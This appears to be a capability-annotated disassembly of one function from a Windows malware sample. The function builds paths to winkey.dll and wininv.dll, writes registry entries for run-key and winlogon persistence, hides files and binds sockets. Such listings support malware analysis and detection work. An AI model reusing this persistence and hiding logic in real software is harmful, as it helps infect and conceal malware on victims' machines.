Function at 0x40eea4
Capabilities:
Contain obfuscated stackstrings
Get common file path
Persist via run registry key
Persist via winlogon helper dll registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd28
push ebx
push esi
push edi
mov eax, 0x5ca808
call fcn.00496be4
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x2f4]
xor edx, edx
call fcn.0047057c
push 0x3ea
call sub.KERNEL32.DLL_Sleep
mov word [ebp - 0xb8], 8
push 0x104
lea ecx, [ebp - 0x1d4]
push ecx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0xb8], 0x14
lea eax, [ebp - 0x30]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, 0x5c2011
lea eax, [ebp - 0x2c]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea edx, [ebp - 0x2c]
push edx
lea edx, [ebp - 0x1d4]
lea eax, [ebp - 0x28]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
lea eax, [ebp - 0x30]
call fcn.00401b28
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5da510], eax
dec dword [ebp - 0xac]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004a4690
cmp dword [0x5da510], 0
je 0x40efce
push 0x5c201d
push dword [0x5da510]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0xcc], eax
mov word [ebp - 0xb8], 0x20
call dword [ebp - 0xcc]
mov word [ebp - 0xb8], 8
jmp 0x40efce
mov word [ebp - 0xb8], 0
jmp 0x40efe7
push 0x104
lea ecx, [ebp - 0x2d8]
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0xb8], 0x38
lea eax, [ebp - 4]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, 0x5c2028
lea eax, [ebp - 0x38]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x34]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x44
lea eax, [ebp - 8]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, 0x5c203f
lea eax, [ebp - 0x40]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x3c]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x50
lea eax, [ebp - 0xc]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str.mps.atm
lea eax, [ebp - 0x48]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x44]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x5c
lea eax, [ebp - 0x10]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str.kdd32.atm
lea eax, [ebp - 0x50]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x4c]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x68
lea eax, [ebp - 0x14]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str._refresh
lea eax, [ebp - 0x58]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x54]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x74
lea eax, [ebp - 0x18]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str._system32winkey.dll
lea eax, [ebp - 0x60]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x5c]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x80
lea eax, [ebp - 0x1c]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str._systemwinkey.dll
lea eax, [ebp - 0x68]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x64]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x8c
lea eax, [ebp - 0x20]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str._system32wininv.dll
lea eax, [ebp - 0x70]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x6c]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x98
lea eax, [ebp - 0x24]
call fcn.00401af8
push eax
inc dword [ebp - 0xac]
mov edx, str._systemwininv.dll
lea eax, [ebp - 0x78]
call fcn.004a44ec
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x78]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x74]
call fcn.004a44ec
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a46e8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
mov eax, dword [0x5da0b8]
mov eax, dword [eax + 0x36c]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x370]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x374]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x378]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x380]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x384]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x388]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x38c]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x344]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x390]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x398]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x39c]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x3a4]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x3a8]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x3c4]
call fcn.004a4460
mov eax, dword [ebp - 4]
call fcn.004a4460
mov eax, dword [ebp - 8]
call fcn.004a4460
mov eax, dword [ebp - 0xc]
call fcn.004a4460
mov eax, dword [ebp - 0x10]
call fcn.004a4460
mov eax, dword [ebp - 0x14]
call fcn.004a4460
mov eax, dword [ebp - 0x18]
call fcn.004a4460
mov eax, dword [ebp - 0x1c]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x344]
call fcn.004a4460
mov eax, dword [ebp - 0x20]
call fcn.004a4460
mov eax, dword [ebp - 0x24]
call fcn.004a4460
mov edx, dword [0x5da0b8]
mov eax, dword [edx + 0x3c0]
call fcn.004a4460
mov dl, 1
mov eax, dword [0x451018]
call fcn.00451118
mov dword [ebp - 0xd0], eax
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a4458
mov word [ebp - 0xb8], 0xa4
mov word [ebp - 0xb8], 0xb0
mov word [ebp - 0xb8], 0xbc
mov edx, 0x5c20c1
lea eax, [ebp - 0x7c]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451420
dec dword [ebp - 0xac]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0xa4
jmp 0x40f62a
mov eax, dword [ebp - 0xd0]
call fcn.00451188
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a4458
mov word [ebp - 0xb8], 0xc8
mov word [ebp - 0xb8], 0xd4
mov edx, 0x5c211b
lea eax, [ebp - 0x80]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0xd0]
call fcn.004512fc
dec dword [ebp - 0xac]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0xe0
mov edx, 0x5c215c
lea eax, [ebp - 0x84]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451598
dec dword [ebp - 0xac]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0xa4
jmp 0x40f6e7
mov eax, dword [ebp - 0xd0]
call fcn.00451188
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a4458
mov word [ebp - 0xb8], 0xec
mov word [ebp - 0xb8], 0xf8
mov edx, 0x5c217b
lea eax, [ebp - 0x88]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0xd0]
call fcn.004512fc
dec dword [ebp - 0xac]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.004a4690
mov edx, 0x5c21b8
lea eax, [ebp - 0x90]
call fcn.004a44ec
inc dword [ebp - 0xac]
push dword [eax]
mov word [ebp - 0xb8], 0x104
mov edx, 0x5c21b2
lea eax, [ebp - 0x8c]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
pop ecx
call fcn.00451828
dec dword [ebp - 0xac]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0xa4
jmp 0x40f7d9
mov eax, dword [ebp - 0xd0]
call fcn.00451188
mov edx, reloc.WSOCK32.DLL_accept
mov eax, dword [ebp - 0xd0]
call fcn.004a4458
mov word [ebp - 0xb8], 0x110
mov word [ebp - 0xb8], 0x11c
mov edx, str.SOFTWAREMicrosoftWindows_NT_Script_HostMicrosoft_DxDiag
lea eax, [ebp - 0x94]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451420
dec dword [ebp - 0xac]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0xa4
jmp 0x40f858
mov word [ebp - 0xb8], 0x128
mov word [ebp - 0xb8], 0x134
mov edx, str.SOFTWAREMicrosoft_DirectX
lea eax, [ebp - 0x98]
call fcn.004a44ec
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451420
dec dword [ebp - 0xac]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0xa4
jmp 0x40f8bc
mov eax, dword [ebp - 0xd0]
call fcn.00451188
mov word [ebp - 0xb8], 0x2c
jmp 0x40f8e0
mov word [ebp - 0xb8], 0x140
mov word [ebp - 0xb8], 0x14c
mov edx, 0x5c221b
lea eax, [ebp - 0x9c]
call fcn.004a44ec
inc dword [ebp - 0xac]
push dword [eax]
call fcn.0040e994
pop ecx
dec dword [ebp - 0xac]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x2c
jmp 0x40f93f
push 0x80
mov word [ebp - 0xb8], 0x158
lea eax, [ebp - 0xa0]
call fcn.00401af8
mov edx, eax
inc dword [ebp - 0xac]
mov ecx, dword [0x5d9ca4]
mov eax, dword [ecx]
call fcn.0046ea68
lea eax, [ebp - 0xa0]
call fcn.00401b28
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0xac]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.004a4690
mov word [ebp - 0xb8], 0x164
call fcn.0040eda4
mov word [ebp - 0xb8], 0x2c
jmp 0x40f9bb
mov word [ebp - 0xb8], 0x170
mov edx, 0x5c221c
lea eax, [ebp - 0xa4]
call fcn.004a44ec
inc dword [ebp - 0xac]
push dword [eax]
call fcn.0040d79c
pop ecx
dec dword [ebp - 0xac]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a4690
dec dword [ebp - 0xac]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a4690
mov ecx, dword [ebp - 0xc8]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret